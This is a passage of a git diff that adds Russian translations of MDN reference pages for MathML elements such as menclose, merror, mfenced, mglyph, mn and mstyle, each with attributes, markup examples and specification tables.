+    <td>горизонтальная линия, зачеркивающая содержимое</td>
+   </tr>
+   <tr>
+    <td><code>madruwb</code></td>
+    <td><img alt="madruwb" src="/files/3181/madruwb.png"></td>
+    <td><math> <menclose notation="madruwb"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
+    <td><a class="external" href="http://en.wikipedia.org/wiki/Modern_Arabic_mathematical_notation#Arithmetic_and_algebra" title="http://en.wikipedia.org/wiki/Modern_Arabic_mathematical_notation#Arithmetic_and_algebra">Арабский символ факториала</a></td>
+   </tr>
+   <tr>
+    <td><code>updiagonalarrow</code></td>
+    <td><img alt="" src="https://mdn.mozillademos.org/files/6255/updiagonalarrow.png" style="height: 38px; width: 83px;"></td>
+    <td><math> <menclose notation="updiagonalarrow"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
+    <td>диагональная стрелка</td>
+   </tr>
+   <tr>
+    <td><code>phasorangle</code></td>
+    <td><img alt="Screenshot of the phasorangle notation" src="https://mdn.mozillademos.org/files/7851/phasorangle.png" style="height: 34px; width: 93px;"></td>
+    <td><math> <menclose notation="phasorangle"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
+    <td>угол</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: html">&lt;math&gt;
+
+  &lt;menclose notation="circle box"&gt;
+    &lt;mi&gt; x &lt;/mi&gt;
+    &lt;mo&gt; + &lt;/mo&gt;
+    &lt;mi&gt; y &lt;/mi&gt;
+  &lt;/menclose&gt;
+
+&lt;/math&gt;</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('MathML3', 'chapter3.html#presm.menclose', 'menclose') }}</td>
+   <td>{{ Spec2('MathML3') }}</td>
+   <td>Текущая спецификация</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('MathML2', 'chapter3.html#presm.menclose', 'menclose') }}</td>
+   <td>{{ Spec2('MathML2') }}</td>
+   <td>Начальная спецификация</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p> </p>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div>
+
+<p>{{Compat("mathml.elements.menclose")}}</p>
+
+<p> </p>
+
+<h2 id="Специфика_Gecko">Специфика Gecko</h2>
+
+<ul>
+ <li>Дополнительные значения для атрибута <code>notation</code> были добавлены в следующих релизах:
+
+  <ul>
+   <li><code>madruwb</code> в Gecko 2.0 {{GeckoRelease("2.0")}}.</li>
+   <li><code>updiagonalarrow</code> в Gecko 24.0 {{GeckoRelease("24.0")}}</li>
+   <li><code>phasorangle</code> в Gecko 32.0 {{GeckoRelease("32.0")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ru/web/mathml/element/merror/index.html b/files/ru/web/mathml/element/merror/index.html
new file mode 100644
index 0000000000..78db2d09bd
--- /dev/null
+++ b/files/ru/web/mathml/element/merror/index.html
@@ -0,0 +1,77 @@
+---
+title: <merror>
+slug: Web/MathML/Element/merror
+tags:
+  - MathML
+  - MathML Reference
+  - 'MathML:Element'
+  - 'MathML:General Layout Schemata'
+translation_of: Web/MathML/Element/merror
+---
+<div>{{MathMLRef}}</div>
+
+<p class="summary">Элемент MathML <code>&lt;merror&gt;</code> используется для отображения содержимого в виде сообщений об ошибках. В Firefox это сообщение об ошибке отображается аналогично типичному сообщению об ошибке XML. Обратите внимание, что эта ошибка <strong>не</strong> выдается, если ваша разметка MathML неверна или неправильно сформирован XML. Вы все равно получите ошибку разбора XML (в случае XHTML-нотации MathML), которая не имеет ничего общего с <code>&lt;merror&gt;</code>.</p>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<dl>
+ <dt id="attr-class-id-style">class, id, style</dt>
+ <dd>Предполагается использование с <a href="/ru/docs/CSS">таблицами стилей</a>.</dd>
+ <dt id="attr-href">href</dt>
+ <dd>Используется для установки гиперссылки на указанный URI.</dd>
+ <dt id="attr-mathbackground">mathbackground</dt>
+ <dd>Цвет фона. Ты можешь использовать <code>#rgb</code>, <code>#rrggbb</code> и <a href="/ru/docs/CSS/color_value#Color_Keywords">имена цветов HTML</a>.</dd>
+ <dt id="attr-mathcolor">mathcolor</dt>
+ <dd>Цвет текста, а также цвет линии дроби. Вы можете использовать <code>#rgb</code>, <code>#rrggbb</code> и <a href="/ru/docs/CSS/color_value#Color_Keywords">имена цветов HTML</a>.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: html">&lt;math&gt;
+
+&lt;merror&gt;
+  &lt;mrow&gt;
+    &lt;mtext&gt; Деление на ноль: &lt;/mtext&gt;
+    &lt;mfrac&gt;
+      &lt;mn&gt; 1 &lt;/mn&gt;
+      &lt;mn&gt; 0 &lt;/mn&gt;
+    &lt;/mfrac&gt;
+  &lt;/mrow&gt;
+&lt;/merror&gt;
+
+&lt;/math&gt;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('MathML3', 'chapter3.html#presm.merror', 'merror') }}</td>
+   <td>{{ Spec2('MathML3') }}</td>
+   <td>Текущая спецификация</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('MathML2', 'chapter3.html#presm.merror', 'merror') }}</td>
+   <td>{{ Spec2('MathML2') }}</td>
+   <td>Начальная спецификация</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p> </p>
+
+
+
+<p>{{Compat("mathml.elements.merror")}}</p>
+
+<p> </p>
diff --git a/files/ru/web/mathml/element/mfenced/index.html b/files/ru/web/mathml/element/mfenced/index.html
new file mode 100644
index 0000000000..aea81d155f
--- /dev/null
+++ b/files/ru/web/mathml/element/mfenced/index.html
@@ -0,0 +1,97 @@
+---
+title: <mfenced>
+slug: Web/MathML/Element/mfenced
+translation_of: Web/MathML/Element/mfenced
+---
+<div>{{MathMLRef}}</div>
+
+<p class="summary">Элемент MathML <code>&lt;mfenced&gt;</code> обеспечивает возможность добавить по выбору открывающие и закрывающие скобки (например, квадратные) и разделители (например, запятую или точку с запятой) </p>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<dl>
+ <dt id="attr-class-id-style">class, id, style</dt>
+ <dd>Предполагается использование с <a href="/ru/docs/CSS">таблицами стилей</a>.</dd>
+ <dt id="attr-close">close</dt>
+ <dd>Строка для закрывающего разделителя. Значением по умолчанию является <code>")"</code> и все пробелы обрезаются.</dd>
+ <dt id="attr-href">href</dt>
+ <dd>Используется для установки гиперссылки на указанный URI.</dd>
+ <dt id="attr-mathbackground">mathbackground</dt>
+ <dd>Цвет фона. Вы можете использовать <code>#rgb</code>, <code>#rrggbb</code> и <a href="/ru/docs/CSS/color_value#Color_Keywords">имена цветов HTML</a>.</dd>
+ <dt id="attr-mathcolor">mathcolor</dt>
+ <dd>Цвет текста и также цвет линии дроби. Вы можете использовать <code>#rgb</code>, <code>#rrggbb</code> и <a href="/ru/docs/CSS/color_value#Color_Keywords">имена цветов HTML</a>.</dd>
+ <dt id="attr-open">open</dt>
+ <dd>Строка для открывающего разделителя. Значением по умолчанию является <code>"("</code> и все пробелы обрезаются.</dd>
+ <dt id="attr-separators">separators</dt>
+ <dd>A sequence of zero or more characters to be used for different separators, optionally divided by white space, which is ignored. The default value is ",". By specifying more than one character, it is possible to set different separators for each argument in the expression. If there are too many separators, all excess is ignored. If there are too few separators in the expression, the last specified separator is repeated.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="The_last_separator_is_repeated_()">The last separator is repeated (<code>,</code>)</h3>
+
+<p>Sample rendering: <img alt="{a;b;c,d,e}" src="/files/3193/mfenced01.png"></p>
+
+<p>Rendering in your browser: <math> <mfenced close="}" open="{" separators=";;,"> <mi>a</mi> <mi>b</mi> <mi>c</mi> <mi>d</mi> <mi>e</mi> </mfenced> </math></p>
+
+<pre class="brush: html">&lt;math&gt;
+  &lt;mfenced open="{" close="}" separators=";;,"&gt;
+    &lt;mi&gt;a&lt;/mi&gt;
+    &lt;mi&gt;b&lt;/mi&gt;
+    &lt;mi&gt;c&lt;/mi&gt;
+    &lt;mi&gt;d&lt;/mi&gt;
+    &lt;mi&gt;e&lt;/mi&gt;
+  &lt;/mfenced&gt;
+&lt;/math&gt;
+</pre>
+
+<h3 id="All_excess_is_ignored_()">All excess is ignored (<code>,</code>)</h3>
+
+<p>Sample rendering: <img alt="[a|b|c|d|e]" src="/files/3195/mfenced02.png"></p>
+
+<p>Rendering in your browser: <math> <mfenced close="]" open="[" separators="||||,"> <mi>a</mi> <mi>b</mi> <mi>c</mi> <mi>d</mi> <mi>e</mi> </mfenced> </math></p>
+
+<pre class="brush: html">&lt;math&gt;
+  &lt;mfenced open="[" close="]" separators="||||,"&gt;
+    &lt;mi&gt;a&lt;/mi&gt;
+    &lt;mi&gt;b&lt;/mi&gt;
+    &lt;mi&gt;c&lt;/mi&gt;
+    &lt;mi&gt;d&lt;/mi&gt;
+    &lt;mi&gt;e&lt;/mi&gt;
+  &lt;/mfenced&gt;
+&lt;/math&gt;
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('MathML3', 'chapter3.html#presm.mfenced', 'mfenced') }}</td>
+   <td>{{ Spec2('MathML3') }}</td>
+   <td>Current specification</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('MathML2', 'chapter3.html#presm.mfenced', 'mfenced') }}</td>
+   <td>{{ Spec2('MathML2') }}</td>
+   <td>Initial specification</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p> </p>
+
+
+
+<p>{{Compat("mathml.elements.mfenced")}}</p>
+
+<p> </p>
diff --git a/files/ru/web/mathml/element/mglyph/index.html b/files/ru/web/mathml/element/mglyph/index.html
new file mode 100644
index 0000000000..4c52c451b6
--- /dev/null
+++ b/files/ru/web/mathml/element/mglyph/index.html
@@ -0,0 +1,71 @@
+---
+title: <mglyph>
+slug: Web/MathML/Element/mglyph
+tags:
+  - MathML
+  - 'MathML:Element'
+  - Глиф
+  - Символ
+translation_of: Web/MathML/Element/mglyph
+---
+<div>{{MathMLRef}}</div>
+
+<p class="summary">Элемент <code>&lt;mglyph&gt;</code> разметки MathML используется для отображения нестандартных символов там, где существующиt символы Unicode недоступны. Его можно использовать в <a href="/en-US/docs/tag/MathML:Token%20Elements">элементах-токенах</a>.</p>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<dl>
+ <dt id="attr-alt">alt</dt>
+ <dd>Этот атрибут определяет альернативный текст, описывающий изображение. Пользователи увидят этот текст, если URL адрес изображения неправильный, изображение не в одном из <a href="/ru/docs/Web/HTML/Element/img#Поддерживаемые_форматы_изображений">поддерживаемых форматов</a> или пока изображение не будет загружено.</dd>
+ <dt id="attr-class-id-style">class, id, style</dt>
+ <dd>Предусмотрено для использования с <a href="/ru/docs/Web/CSS">таблицами стилей</a>.</dd>
+ <dt id="attr-height">height</dt>
+ <dd>Высота изображения.</dd>
+ <dt id="attr-href">href</dt>
+ <dd>Используется для установки гиперссылки на указанный URI.</dd>
+ <dt id="attr-mathbackground">mathbackground</dt>
+ <dd>Цвет фона (если изображение имеет прозрачность). Вы можете использовать <code>#rgb</code>, <code>#rrggbb</code> и <a href="/ru/docs/Web/CSS/color_value">имена цветов HTML</a>.</dd>
+ <dt id="attr-src">src</dt>
+ <dd>URL изображения.</dd>
+ <dt id="attr-valign">valign</dt>
+ <dd>Задаёт вертикальное выравнивание относительно текущей базовой линии.</dd>
+ <dt id="attr-width">width</dt>
+ <dd>Ширина изображения.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: html notranslate">&lt;math&gt;
+  &lt;mi&gt;&lt;mglyph src="my-glyph.png" alt="my glyph"/&gt;&lt;/mi&gt;
+&lt;/math&gt;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('MathML3', 'chapter3.html#presm.mglyph', 'mglyph') }}</td>
+   <td>{{ Spec2('MathML3') }}</td>
+   <td>Текущая спецификация</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('MathML2', 'chapter3.html#presm.mglyph', 'mglyph') }}</td>
+   <td>{{ Spec2('MathML2') }}</td>
+   <td>Начальная спецификация</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("mathml.elements.mglyph")}}</p>
diff --git a/files/ru/web/mathml/element/mn/index.html b/files/ru/web/mathml/element/mn/index.html
new file mode 100644
index 0000000000..2d005c5036
--- /dev/null
+++ b/files/ru/web/mathml/element/mn/index.html
@@ -0,0 +1,136 @@
+---
+title: <mn>
+slug: Web/MathML/Element/mn
+tags:
+  - MathML
+  - 'MathML:Token Elements'
+  - Числовой литерал
+translation_of: Web/MathML/Element/mn
+---
+<div>{{MathMLRef}}</div>
+
+<p class="summary">Элемент <code>&lt;mn&gt;</code> разметки MathML представляет собой числовой литерал, который обычно является последовательностью цифр с возможным разделителем (точкой или запятой). Тем не менее, в нём также может быть произвольный текст, который на самом деле является числом, например "eleven" ("одиннадцать").</p>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<dl>
+ <dt id="attr-class-id-style">class, id, style</dt>
+ <dd>Предусмотрено для использования с <a href="/ru/docs/Web/CSS">таблицами стилей</a>.</dd>
+ <dt id="attr-dir">dir</dt>
+ <dd>Направление текста. Возможные значения: либо <code>ltr</code> (слева направо) или <code>rtl</code> (справа налево).</dd>
+ <dt id="attr-displaystyle"><code>displaystyle</code></dt>
+ <dd>Логическое значение, определяющее, используется ли большое вертикальное пространство для отображаемых уравнений; если установлено значение <code>false</code>, то используется более компактный макет. Основной эффект заключается в том, что отображаются более крупные версии операторов, когда <code>displaystyle</code> установлено на <code>true</code>. Смотри также <code>largeop</code> и <code>movablelimits</code> на {{ MathMLElement("mo") }}.</dd>
+ <dt id="attr-href">href</dt>
+ <dd>Используется для установки гиперссылки на указанный URI.</dd>
+ <dt id="attr-mathbackground">mathbackground</dt>
+ <dd>Цвет фона (если изображение имеет прозрачность). Вы можете использовать <code>#rgb</code>, <code>#rrggbb</code> и <a href="/ru/docs/Web/CSS/color_value">имена цветов HTML</a>.</dd>
+ <dt id="attr-mathcolor">mathcolor</dt>
+ <dd>Цвет текста. Вы можете использовать <code>#rgb</code>, <code>#rrggbb</code> и <a href="/ru/docs/Web/CSS/color_value">имена цветов HTML</a>.</dd>
+ <dt id="attr-mathsize">mathsize</dt>
+ <dd>Размер контента. Смотрите <a href="https://wiki.developer.mozilla.org/ru/docs/Web/CSS/размер">length</a> для возможных значений.<br>
+ Устаревшие значения: <code>small</code>, <code>normal</code> и <code>big</code>. Они будут удалены в будущем.</dd>
+ <dt id="attr-mathvariant">mathvariant</dt>
+ <dd>Этот атрибут определяет логический класс числа, который варьируется в типографике.То есть, хотя имена предполагают типографский стиль для класса, семантически, элементы с одним и тем же классом обрабатываются «одинаково» в выражении, которое может включать или не включать отображение их с именованной типографикой. Допускаются следующие значения:
+ <ul>
+  <li><code>normal</code> (значение по умолчанию) ; <math><mn mathvariant="normal">Пример</mn></math></li>
+  <li><code>bold</code> ; <math><mn mathvariant="bold"><strong>Пример</strong></mn></math></li>
+  <li><code>italic</code> ; <em>Пример</em></li>
+  <li><code>bold-italic</code> ; <math><mn mathvariant="bold-italic"><em><strong>Пример</strong></em></mn></math></li>
+ </ul>
+
+ <ul>
+  <li><code>double-struck</code> ; <math><mn mathvariant="double-struck">Пример</mn></math></li>
+  <li><code>bold-fraktur</code> ; <math><mn mathvariant="bold-fraktur">Пример</mn></math></li>
+  <li><code>script</code> ; <math><mn mathvariant="script">Пример</mn></math></li>
+  <li><code>bold-script</code> ; <math><mn mathvariant="bold-script">Пример</mn></math></li>
+  <li><code>fraktur</code> ; <math><mn mathvariant="fraktur">Пример</mn></math></li>
+ </ul>
+
+ <ul>
+  <li><code>sans-serif</code> ; <math><mn mathvariant="sans-serif">Пример</mn></math></li>
+  <li><code>bold-sans-serif</code> ; <math><mn mathvariant="bold-sans-serif"><strong>Пример</strong></mn></math></li>
+  <li><code>sans-serif-italic</code> ; <math><mn mathvariant="sans-serif-italic"><em>Пример</em></mn></math></li>
+  <li><code>sans-serif-bold-italic</code> ; <math><mn mathvariant="sans-serif-bold-italic"><em><strong>Пример</strong></em></mn></math></li>
+  <li><code>monospace</code> ; <math><mn mathvariant="monospace">Пример</mn></math></li>
+ </ul>
+
+ <ul>
+  <li><code>initial</code> ; <math><mn mathvariant="initial">مثال</mn></math></li>
+  <li><code>tailed</code> ; <math><mn mathvariant="tailed">مثال</mn></math></li>
+  <li><code>looped</code> ; <math><mn mathvariant="looped">مثال</mn></math></li>
+  <li><code>stretched</code> ; <math><mn mathvariant="stretched">مثال</mn></math></li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: html notranslate">&lt;math&gt;
+
+  &lt;mn&gt; 0 &lt;/mn&gt;
+
+  &lt;mn&gt; 1.337 &lt;/mn&gt;
+
+  &lt;mn&gt; twelve &lt;/mn&gt;
+
+  &lt;mn&gt; XVI &lt;/mn&gt;
+
+  &lt;mn&gt; 2e10 &lt;/mn&gt;
+
+&lt;/math&gt;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("MathMLCore", "#number-mn", "mn")}}</td>
+   <td>{{Spec2("MathMLCore")}}</td>
+   <td>Проект спецификации</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('MathML3', 'chapter3.html#presm.mn', 'mn') }}</td>
+   <td>{{ Spec2('MathML3') }}</td>
+   <td>Текущая спецификация</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('MathML2', 'chapter3.html#presm.mn', 'mn') }}</td>
+   <td>{{ Spec2('MathML2') }}</td>
+   <td>Начальная спецификация</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("mathml.elements.mn")}}</p>
+
+<h2 id="Особенности_ядра_Gecko">Особенности ядра Gecko</h2>
+
+<ul>
+ <li>Некоторые значения <code>mathvariant</code> реализованы только начиная с Gecko 28.0 {{ geckoRelease("28.0") }} и требуют соответствующих <a href="/en-US/docs/Mozilla/MathML_Project/Fonts">математических шрифтов</a>.</li>
+</ul>
+
+<div class="jfk-bubble gtx-bubble" style="">
+<div class="jfk-bubble-content-id" id="bubble-35">
+<div id="gtx-host" style="max-width: 400px;"></div>
+</div>
+
+<div class="jfk-bubble-closebtn-id jfk-bubble-closebtn"></div>
+
+<div class="jfk-bubble-arrow-id jfk-bubble-arrow jfk-bubble-arrowup" style="left: 15px;">
+<div class="jfk-bubble-arrowimplbefore"></div>
+
+<div class="jfk-bubble-arrowimplafter"></div>
+</div>
+</div>
diff --git a/files/ru/web/mathml/element/mstyle/index.html b/files/ru/web/mathml/element/mstyle/index.html
new file mode 100644
index 0000000000..66b1d82dda
--- /dev/null
+++ b/files/ru/web/mathml/element/mstyle/index.html
@@ -0,0 +1,141 @@
+---
+title: <mstyle>
+slug: Web/MathML/Element/mstyle
+tags:
+  - MathML
+  - 'MathML:Element'
+translation_of: Web/MathML/Element/mstyle
+---
+<div>{{MathMLRef}}</div>
+
+<p class="summary">Элемент <code>&lt;mstyle&gt;</code> разметки MathML используется для изменения стиля его дочерних элементов. Он принимает все атрибуты всех элементов представления MathML, за некоторыми исключениями и c дополнительными атрибутами, перечисленными ниже.</p>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<dl>
+ <dt id="attr-dir"><code>dir</code></dt>
+ <dd>Общая направленность формулы. Возможные значения: либо <code>ltr</code> (слева направо), либо <code>rtl</code> (справа налево).</dd>
+ <dt id="attr-decimalpoint"><code>decimalpoint</code></dt>
+ <dd>Этот атрибут определяет символ для точки выравнивания внутри {{ MathMLElement("mstack") }} и {{ MathMLElement("mtable") }} столбцов, если значение <code>decimalpoint</code> используется для определения выравнивания.</dd>
+ <dt id="attr-displaystyle"><code>displaystyle</code></dt>
+ <dd>Логическое значение, определяющее, используется ли большое вертикальное пространство для отображаемых уравнений; если установлено значение <code>false</code>, то используется более компактный макет. Основной эффект заключается в том, что отображаются более крупные версии операторов, когда <code>displaystyle</code> установлено на <code>true</code>. Смотри также <code>largeop</code> и <code>movablelimits</code> на {{ MathMLElement("mo") }}.</dd>
+ <dt id="attr-infixlinebreakstyle"><code>infixlinebreakstyle</code></dt>
+ <dd>Задаёт <code>linebreakstyle</code> по умолчанию для использования в инфиксных операторах. Допустимы значения <code>before</code>, <code>after</code> и <code>duplicate</code>.</dd>
+ <dt id="attr-scriptlevel"><code>scriptlevel</code></dt>
+ <dd>В основном контроллирует размер шрифта. Чем больше значение <code>scriptlevel</code>, тем меньше размер шрифта. Этот атрибут поддерживает неотрицательные целые числа, а также знаки "+" или "-", которые увеличивают или уменьшают текущее значение соответственно. Кроме того, атрибут <code>scriptlevel</code> никогда не может уменьшить размер шрифта ниже значения <code>scriptminsize</code> во избежание нечитабельных мелких шрифтов и зависит от множителя, определённого в <code>scriptsizemultiplier</code>.</dd>
+ <dt id="attr-scriptminsize"><code>scriptminsize</code></dt>
+ <dd>Определяет минимальный размер шрифта, допустимый для изменений атрибутом <code>scriptlevel</code>. Значение по умолчанию: 8pt.</dd>
+ <dt id="attr-scriptsizemultiplier"><code>scriptsizemultiplier</code></dt>
+ <dd>Определяет множитель, используемый для настройки размера шрифта в <code>scriptlevel</code>. Значение по умолчанию: 0.71.</dd>
+</dl>
+
+<p>Элемент <code>&lt;mstyle&gt;</code> принимает <a href="/en-US/docs/MathML/Attributes">все атрибуты</a> всех элементов представления, за исключением:</p>
+
+<ul>
+ <li><code>height</code>, <code>depth</code> или <code>width</code> не применимы к {{ MathMLELement("mglyph") }}, {{ MathMLELement("mpadded") }} или {{ MathMLELement("mtable") }}.</li>
+ <li><code>rowalign</code>, <code>columnalign</code> или <code>groupalign</code> не применимы {{ MathMLELement("mtr") }}, {{ MathMLELement("mlabeledtr") }}, {{ MathMLELement("mtd") }} или {{ MathMLELement("maligngroup") }}.</li>
+ <li><code>lspace</code> или <code>voffset</code> не применимы к {{ MathMLELement("mpadded") }}.</li>
+ <li><code>fontfamily</code> не применим к {{ MathMLELement("mglyph") }}.</li>
+ <li><code>align</code> не применим к {{ MathMLELement("mtable") }} или {{ MathMLELement("mstack") }}.</li>
+ <li><code>index</code> не может быть установлен на <code>&lt;mstyle&gt;</code>.</li>
+ <li><code>src</code> и <code>alt</code> на {{ MathMLElement("mglyph" ) }} не могут быть установлены на <code>&lt;mstyle&gt;</code>.</li>
+ <li><code>actiontype</code> на {{ MathMLElement("maction") }} не может быть установлен на <code>&lt;mstyle&gt;</code>.</li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Использование <code>displaystyle</code> и <code>mathcolor</code> для изменения стиля макета всей суммы.</p>
+
+<pre class="brush: html notranslate">&lt;math&gt;
+
+  &lt;mstyle displaystyle="true" mathcolor="teal"&gt;
+    &lt;mrow&gt;
+
+      &lt;munderover&gt;
+        &lt;mo stretchy="true" form="prefix"&gt;&amp;sum;&lt;/mo&gt;
+        &lt;mrow&gt;
+          &lt;mi&gt;i&lt;/mi&gt;
+          &lt;mo form="infix"&gt;=&lt;/mo&gt;
+          &lt;mn&gt;1&lt;/mn&gt;
+        &lt;/mrow&gt;
+        &lt;mi&gt;n&lt;/mi&gt;
+      &lt;/munderover&gt;
+
+      &lt;mstyle displaystyle="true"&gt;
+        &lt;mfrac&gt;
+          &lt;mn&gt;1&lt;/mn&gt;
+          &lt;mi&gt;n&lt;/mi&gt;
+        &lt;/mfrac&gt;
+      &lt;/mstyle&gt;
+
+    &lt;/mrow&gt;
+  &lt;/mstyle&gt;
+
+&lt;/math&gt;
+</pre>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Характеристика</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("MathMLCore", "#style-change-mstyle", "mstyle")}}</td>
+   <td>{{Spec2("MathMLCore")}}</td>
+   <td>Проект спецификации</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('MathML3', 'chapter3.html#presm.mstyle', 'mstyle') }}</td>
+   <td>{{ Spec2('MathML3') }}</td>
+   <td>Текущая спецификация</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('MathML2', 'chapter3.html#presm.mstyle', 'mstyle') }}</td>
+   <td>{{ Spec2('MathML2') }}</td>
+   <td>Начальная спецификация</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("mathml.elements.mstyle")}}</p>
+
+<h2 id="Особенности_ядра_Gecko">Особенности ядра Gecko</h2>
+
+<ul>
+ <li>До Gecko 6.0 {{ geckoRelease("6.0") }} реализация <code>&lt;mstyle&gt;</code> не была завершена и <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=569125">была исправлена</a>. В частности, установка этих атрибутов в <code>mstyle</code> не влияла на его дочерние элементы:
+
+  <ul>
+   <li>Атрибут <code>bevelled</code> на элементы {{ MathMLElement("mfrac") }}.</li>
+   <li>Атрибут <code>notation</code> на элементы {{ MathMLElement("menclose") }}.</li>
+   <li>Атрибуты <code>open</code>, <code>close</code> и <code>separators</code> на элементы {{ MathMLElement("mfenced") }}.</li>
+   <li>Атрибуты <code>accent</code> и <code>accentunder</code> на элементы {{ MathMLElement("mover") }}, {{ MathMLElement("munder") }} и {{ MathMLElement("munderover") }}.</li>
+   <li>Атрибут <code>selection</code> на элементы {{ MathMLElement("maction") }}.</li>
+   <li>Атрибут <code>mathvariant</code> на элементы {{ MathMLElement("mi") }}.</li>
+  </ul>
+ </li>
+ <li>Начиная с Gecko 29.0 {{geckoRelease("29.0")}}, атрибуты, принятые в элементе <code>&lt;mstyle&gt;</code> ограничены фактически используемыми на практике: <code>id, class, style, href, mathcolor, mathbackground, scriptlevel, displaystyle, scriptsizemultiplier, scriptminsize, dir, mathsize, mathvariant, fontfamily, fontweight, fontstyle, fontsize, color, background</code>.</li>
+</ul>
+
+<div class="jfk-bubble gtx-bubble" style="">
+<div class="jfk-bubble-content-id" id="bubble-40">
+<div id="gtx-host" style="max-width: 400px;"></div>
+</div>
+
+<div class="jfk-bubble-closebtn-id jfk-bubble-closebtn"></div>
+
+<div class="jfk-bubble-arrow-id jfk-bubble-arrow jfk-bubble-arrowup" style="left: 15px;">
+<div class="jfk-bubble-arrowimplbefore"></div>
+
+<div class="jfk-bubble-arrowimplafter"></div>
+</div>
+</div>
diff --git a/files/ru/web/mathml/index.html b/files/ru/web/mathml/index.html
new file mode 100644
index 0000000000..ed4b2cc037
--- /dev/null
+++ b/files/ru/web/mathml/index.html
@@ -0,0 +1,124 @@
+---
+title: MathML
+slug: Web/MathML
+tags:
+  - Landing
+  - MathML
+  - Reference
+  - Référence(2)
+  - TopicStub
+  - Web
+  - XML
+translation_of: Web/MathML
+---
+<p><strong>Mathematical Markup Language (MathML)</strong> разновидность языка разметки <a href="/ru/docs/XML" title="/ru/docs/XML">XML</a>, предназначенная для построения математических выражений с сохранением их структуры и содержания. Здесь Вы найдёте ссылки к документации, примеры и инструменты, которые помогут Вам работать с этой мощной технологией. Для быстрого обзора - смотрите <a href="http://fred-wang.github.io/MozSummitMathML/index.html">слайды для выставки инноваций на саммите Mozilla 2013</a>.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Documentation" name="Documentation">Справочные данные по MathML</h2>
+
+<dl>
+ <dt><a href="/ru/docs/Web/MathML/Element" title="/ru/docs/Web/MathML/Element">Справка по элементам MathML</a></dt>
+ <dd>Детальная информация о каждом элементе MathML, а также информация по совместимости для настольных и мобильных браузеров.</dd>
+ <dt><a href="/ru/docs/Web/MathML/Attribute" title="/ru/docs/Web/MathML/Attribute">Справка по аттрибутам MathML</a></dt>
